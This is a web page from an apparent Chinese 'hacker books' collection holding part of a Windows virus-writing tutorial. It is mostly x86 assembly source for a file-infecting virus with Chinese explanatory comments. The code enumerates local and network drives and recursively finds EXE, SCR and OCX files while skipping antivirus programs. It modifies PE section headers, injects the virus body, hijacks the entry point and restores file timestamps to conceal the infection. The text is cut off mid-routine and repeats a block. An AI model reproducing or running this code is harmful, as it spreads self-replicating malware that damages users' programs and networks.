7.htm

黑客书籍大全

        <br>
        ID_TestDrive: </p>
      <p> mov byte ptr [esi + 03],00 <br>
        push esi <br>
        call GetDriveTypeA ;取驱动器类型 </p>
      <p> cmp al,03 ;硬盘? <br>
        jz short ID_DriveOk </p>
      <p> cmp al,04 ;网络驱动器? <br>
        jnz short ID_Invalid </p>
      <p>ID_DriveOk: </p>
      <p> add esi,03 </p>
      <p> push esi <br>
        call BlownAway </p>
      <p> push esi <br>
        call FileSearch ;查找文件 </p>
      <p> sub esi,03 </p>
      <p>ID_Invalid: </p>
      <p> mov al,[offset Buffer1 + ebx] <br>
        inc al <br>
        mov [offset Buffer1 + ebx],al </p>
      <p> cmp al,'Z' <br>
        jna short ID_TestDrive </p>
      <p> pop esi <br>
        ret <br>
        ;******************************************************************<br>
        ;查找计算机 <br>
        ;******************************************************************<br>
        NetSearch : <br>
        mov EnumBufferSize,4000 <br>
        or EnumNB_Objects,-1 </p>
      <p> lea eax,WNetStructAddr <br>
        push eax <br>
        push WNetStructAddr <br>
        push 0 <br>
        push 0 <br>
        push 2 <br>
        call WNetOpenEnumA </p>
      <p> or eax,eax <br>
        jnz NET_Close </p>
      <p> push 04 <br>
        push 1000 <br>
        push 4000 <br>
        push 00 <br>
        call VirtualAlloc </p>
      <p> or eax,eax <br>
        jz short NET_Close </p>
      <p> mov EnumBufferAddr,eax </p>
      <p>NET_00: </p>
      <p> mov esi,EnumBufferAddr </p>
      <p> lea eax,EnumBufferSize <br>
        push eax <br>
        push esi <br>
        lea eax,EnumNB_Objects <br>
        push eax <br>
        push WNetStructAddr <br>
        call WNetEnumResourceA </p>
      <p> or eax,eax <br>
        jnz short NET_Free </p>
      <p> mov ecx,EnumNB_Objects <br>
        or ecx,ecx <br>
        jz short NET_00 </p>
      <p>NET_01: <br>
        push ecx <br>
        push esi </p>
      <p> mov esi,[esi + 14] ; 计算机名 <br>
        or esi,esi <br>
        jz short NET_03 </p>
      <p> cmp word ptr [esi],0041 ; 是否为软盘 <br>
        jz short NET_03 </p>
      <p> lea edi,[offset Buffer1 + ebx] </p>
      <p>NET_02: </p>
      <p> movsb <br>
        cmp byte ptr [esi],00 <br>
        jnz short NET_02 </p>
      <p> mov al,'\' <br>
        stosb </p>
      <p> push edi <br>
        call BlownAway </p>
      <p> push edi <br>
        call FileSearch </p>
      <p>NET_03: </p>
      <p> pop esi </p>
      <p> mov eax,[esi + 0C] <br>
        and al,2 <br>
        cmp al,2 <br>
        jnz short NET_04 </p>
      <p> push esi <br>
        call NetSearch </p>
      <p>NET_04: <br>
        add esi,20 <br>
        pop ecx <br>
        loop NET_01 </p>
      <p> jmp short NET_00 </p>
      <p>NET_Free: <br>
        push 8000 <br>
        push 00 <br>
        push EnumBufferAddr <br>
        call VirtualFree </p>
      <p>NET_Close: <br>
        push WNetStructAddr <br>
        call WNetCloseEnum <br>
        ret <br>
        ;*************************************************************************<br>
        ; 查找文件子程序,这些跟以前DOS下没什么区别, <br>
        ; <br>
        ; 我还是喜欢用IFS_HOOK,可以做到全隐形哦,那感觉就是一个字--爽! ^_^ <br>
        ;*************************************************************************<br>
        FileSearch: <br>
        mov eax,CurrentDirEnd <br>
        mov dword ptr [eax],002A2E2A ; *.* </p>
      <p> lea edi,[offset Buffer2 + ebx] <br>
        lea esi,[offset Buffer1 + ebx] <br>
        push edi <br>
        push esi <br>
        call FindFirstFileA ;找第一个文件 </p>
      <p> cmp eax,-1 <br>
        jz short RS_Exit </p>
      <p>RS_00: <br>
        mov SearchHandle,eax </p>
      <p>RS_01: <br>
        test byte ptr [edi],10 ; 测试是目录还是文件 <br>
        jz short FileTest </p>
      <p>RS_Directory: </p>
      <p> cmp byte ptr [edi + 2C],'.' <br>
        jz short RS_Next </p>
      <p> mov esi,edi <br>
        add esi,2C </p>
      <p> mov edi,CurrentDirEnd </p>
      <p>RSD_00: <br>
        movsb <br>
        cmp byte ptr [esi],0 <br>
        jnz short RSD_00 </p>
      <p> mov al,'\' <br>
        stosb </p>
      <p> push edi <br>
        call FileSearch </p>
      <p>RS_Next: <br>
        lea edi,[offset Buffer2 + ebx] <br>
        push edi <br>
        push SearchHandle <br>
        call FindNextFileA ;查找下一个文件 </p>
      <p> or eax,eax <br>
        jnz short RS_01 </p>
      <p> push SearchHand <br>
        <br>
        RS_Next: <br>
        lea edi,[offset Buffer2 + ebx] <br>
        push edi <br>
        push SearchHandle <br>
        call FindNextFileA ;查找下一个文件 </p>
      <p> or eax,eax <br>
        jnz short RS_01 </p>
      <p> push SearchHandle <br>
        call FindClose </p>
      <p>RS_Exit: <br>
        ret <br>
        ;******************************************************************** 
        <br>
        ;没什么新意,略过吧 <br>
        ;******************************************************************** 
        <br>
        FileTest: </p>
      <p> mov edx,[edi + 2C] <br>
        or edx,20202020 <br>
        xor edx,61F81F61 </p>
      <p> lea esi,[offset SkipNames + ebx] ; 跳过一些反病毒软件的感染 <br>
        mov ecx,0C </p>
      <p>FT_00: <br>
        lodsd <br>
        cmp edx,eax <br>
        jz short FT_Exit </p>
      <p> loop FT_00 </p>
      <p>;************************************************************************ 
        <br>
        ;注意拉, <br>
        ;************************************************************************ 
        <br>
        mov esi,edi <br>
        add esi,2C </p>
      <p>FT_01: <br>
        lodsb <br>
        or al,al <br>
        jnz short FT_01 </p>
      <p> mov eax,[esi - 4] ; 扩展名判断 <br>
        or eax,20202020 </p>
      <p> cmp eax,' xco' ;控件 <br>
        jz short FT_02 </p>
      <p> cmp eax,' rcs' ;屏幕保护文件 <br>
        jz short FT_02 </p>
      <p> cmp eax,' exe' ;标准的EXE文件 <br>
        jnz short FT_Exit </p>
      <p>FT_02: <br>
        mov eax,[edi + 20] ; 文件小于2000的就不感染 <br>
        cmp eax,2000 <br>
        jc short FT_Exit </p>
      <p> cmp al,03 ; 检测是否已经感染 <br>
        jz short FT_Exit </p>
      <p> lea esi,[offset Buffer1 + ebx] ; 取文件名和路径 <br>
        lea edi,[offset Buffer3 + ebx] <br>
        push edi </p>
      <p> mov ecx,CurrentDirEnd <br>
        sub ecx,esi <br>
        repz movsb </p>
      <p> lea esi,[offset Buffer2 + ebx] <br>
        add esi,2C </p>
      <p>FT_03: <br>
        movsb <br>
        cmp byte ptr [esi - 1],0 <br>
        jnz short FT_03 </p>
      <p> call InfectFile ;干活了, </p>
      <p>FT_Exit: <br>
        jmp RS_Next <br>
        ;**********************************************************************<br>
        ;感染文件子程序 <br>
        ;**********************************************************************<br>
        InfectFile: <br>
        push i_Filename <br>
        push 03 ; 打开文件 <br>
        call OpenFile </p>
      <p> cmp eax,-1 <br>
        jz IN_Exit </p>
      <p> mov i_FileHandle,eax </p>
      <p> push 00 <br>
        push eax <br>
        call GetFileSize ;取文件大小,用于以后还原 </p>
      <p> mov i_FileSize,eax </p>
      <p> cmp al,03 ; 是否感染 <br>
        jz IN_Exit </p>
      <p> lea edi,[offset Buffer3 + ebx] </p>
      <p> push 00 <br>
        lea esi,i_BytesRead <br>
        push esi <br>
        push 2000 <br>
        push edi <br>
        push i_FileHandle <br>
        call ReadFile <br>
        <br>
        ;**************************************************************************<br>
        ;以下的程序跟文件头有关,建议没基础者找一些相关资料看看 <br>
        ;**************************************************************************<br>
        cmp word ptr [edi],5A4Dh ;DOS文件头,开始有点印象了吧 <br>
        jnz IN_CloseFile </p>
      <p> cmp word ptr [edi + 18],0040 ;是否为WINDOWS文件,此处&gt;=40H,则为WINDOWS文件,<br>
        &lt;40H则为DOS文件 <br>
        jnz IN_CloseFile </p>
      <p> cmp dword ptr [edi + 3C],1C00 ; DOS文件头的大小 <br>
        ja IN_CloseFile </p>
      <p> add edi,[edi + 3C] ;指向PE或NE文件头 </p>
      <p> mov eax,[edi] <br>
        cmp eax,00004550 ;PE文件吗? <br>
        jnz IN_CloseFile ;此步必须,因为WIN3.X的18H的值也大于等于40H </p>
      <p> cmp word ptr [edi + 5C],2 ; GUI???? <br>
        jnz IN_CloseFile </p>
      <p> mov esi,edi <br>
        add esi,18 <br>
        add si,[edi + 14] ; 将ESI指向第一个节表 <br>
        push esi </p>
      <p> mov eax,[edi + 28] ; 查找包含&quot;PE&quot;的节表 <br>
        <br>
        IN_00: <br>
        mov ecx,[esi + 0C] <br>
        add ecx,[esi + 08] </p>
      <p> cmp eax,ecx <br>
        jc short IN_01 </p>
      <p> add esi,28 <br>
        jmp short IN_00 </p>
      <p>IN_01: <br>
        sub eax,[esi + 0C] <br>
        add eax,[esi + 14] <br>
        mov i_EP_Offset,eax </p>
      <p> or [esi + 24],80000000 ; 将它改为可写,这里是WINDOWS跟 <br>
        ;DOS在程序和数据段上的一个重要改变 <br>
        ;也是写WINDOWS病毒要注意的地方之一 <br>
        pop esi <br>
        xor ecx,ecx <br>
        mov cx,[edi + 06] <br>
        dec ecx <br>
        mov eax,ecx <br>
        mov edx,28 <br>
        mul edx <br>
        add esi,eax ; ESI指向最后一个节表 </p>
      <p> mov eax,[esi + 24] <br>
        cmp al,80 ; 是否已经初始化 <br>
        jz IN_CloseFile </p>
      <p> or eax,8C000000 ; 将它改为可写, <br>
        and eax,not 12000000 ; 不共享,不可丢弃 <br>
        mov [esi + 24],eax </p>
      <p> mov ecx,i_FileSize ;这里好象跟SFX有点关系 <br>
        mov edx,ecx <br>
        mov eax,ecx <br>
        clc <br>
        shr eax,03 <br>
        sub edx,eax <br>
        sub edx,[esi + 14] <br>
        jc short IN_02 </p>
      <p> sub edx,[esi + 10] <br>
        jnc IN_CloseFile </p>
      <p>IN_02: ; 重新计算节的长度 </p>
      <p> mov edx,[esi + 08] <br>
        <br>
        sub ecx,[esi + 14] <br>
        jc short IN_03 </p>
      <p> cmp edx,ecx <br>
        ja short IN_03 </p>
      <p> mov edx,ecx </p>
      <p>IN_03: <br>
        test edx,00000FFF <br>
        jz short IN_04 </p>
      <p> and edx,0FFFFF000 <br>
        add edx,1000 </p>
      <p>IN_04: <br>
        mov ecx,edx <br>
        add ecx,[esi + 0C] <br>
        mov eax,ecx <br>
        add eax,4000 <br>
        mov [edi + 50],eax ; 新的长度 </p>
      <p> sub ecx,[edi + 28] <br>
        add ecx,offset VStart - 100 - 08 <br>
        mov i_HostDep32,ecx </p>
      <p> mov eax,edx <br>
        add eax,4000 ; 改变虚拟大小 <br>
        mov [esi + 08],eax </p>
      <p> mov eax,edx <br>
        add eax,[esi + 14] <br>
        mov i_VirusOffset,eax </p>
      <p> add edx,1000 ; 改变物理大小 <br>
        mov [esi + 10],edx <br>
        add edx,[esi + 14] <br>
        add edx,03 </p>
      <p> push i_FileHandle <br>
        push edx <br>
        call MapFile </p>
      <p> or eax,eax <br>
        jz short IN_CloseFile </p>
      <p> mov i_MapHandle,eax </p>
      <p> push eax <br>
        call ViewMap </p>
      <p> or eax,eax <br>
        jz short IN_CloseMap </p>
      <p> mov edx,eax </p>
      <p> lea esi,[offset Buffer3 + ebx] ; 写PE文件头 <br>
        mov edi,edx <br>
        mov ecx,2000 <br>
        repz movsb </p>
      <p> lea edi,[offset HostCode + ebx] <br>
        mov esi,i_EP_Offset <br>
        add esi,edx <br>
        movsd <br>
        movsd </p>
      <p> mov edi,esi ; 设置CALL GS:Virus <br>
        sub edi,08 <br>
        mov eax,00E8659090 <br>
        stosd <br>
        mov eax,i_HostDep32 <br>
        stosd </p>
      <p> mov edi,edx <br>
        mov eax,i_FileSize <br>
        mov ecx,i_VirusOffset <br>
        sub ecx,eax <br>
        jna short IN_05 </p>
      <p> add edi,eax <br>
        xor al,al <br>
        repz stosb </p>
      <p>IN_05: <br>
        mov esi,ebx ;写入病毒主体 <br>
        mov edi,edx <br>
        add edi,i_VirusOffset <br>
        mov ecx,VSize <br>
        repz movsb </p>
      <p> mov ecx,Phys_VSize - VSize + 3 <br>
        repz stosb </p>
      <p> push edx <br>
        call UnmapViewOfFile </p>
      <p>IN_CloseMap: </p>
      <p> push i_MapHandle <br>
        call CloseHandle ;关闭 </p>
      <p> call Wait_A_Little ;延时 </p>
      <p>IN_CloseFile: </p>
      <p> lea esi,[offset Buffer2 + 14 + ebx] ; 恢复文件的时间 <br>
        push esi <br>
        sub esi,08 <br>
        push esi <br>
        sub esi,08 <br>
        push esi <br>
        push i_FileHandle <br>
        call SetFileTime </p>
      <p> push i_FileHandle <br>
        call CloseHandle ;关闭文件 </p>
      <p>IN_Exit: <br>
        ret </p>
      <p>;******************************************************************************** 
        <br>
        ; 查找GetProcAddress 的子程序 <br>
        ;******************************************************************************** 
        <br>
        Whereis_GPA: </p>
      <p> lea esi,[offset GPA_Sigs + ebx] </p>
      <p> mov byte ptr [offset OS + ebx],00 </p>
      <p> mov eax,w_Kernel32 <br>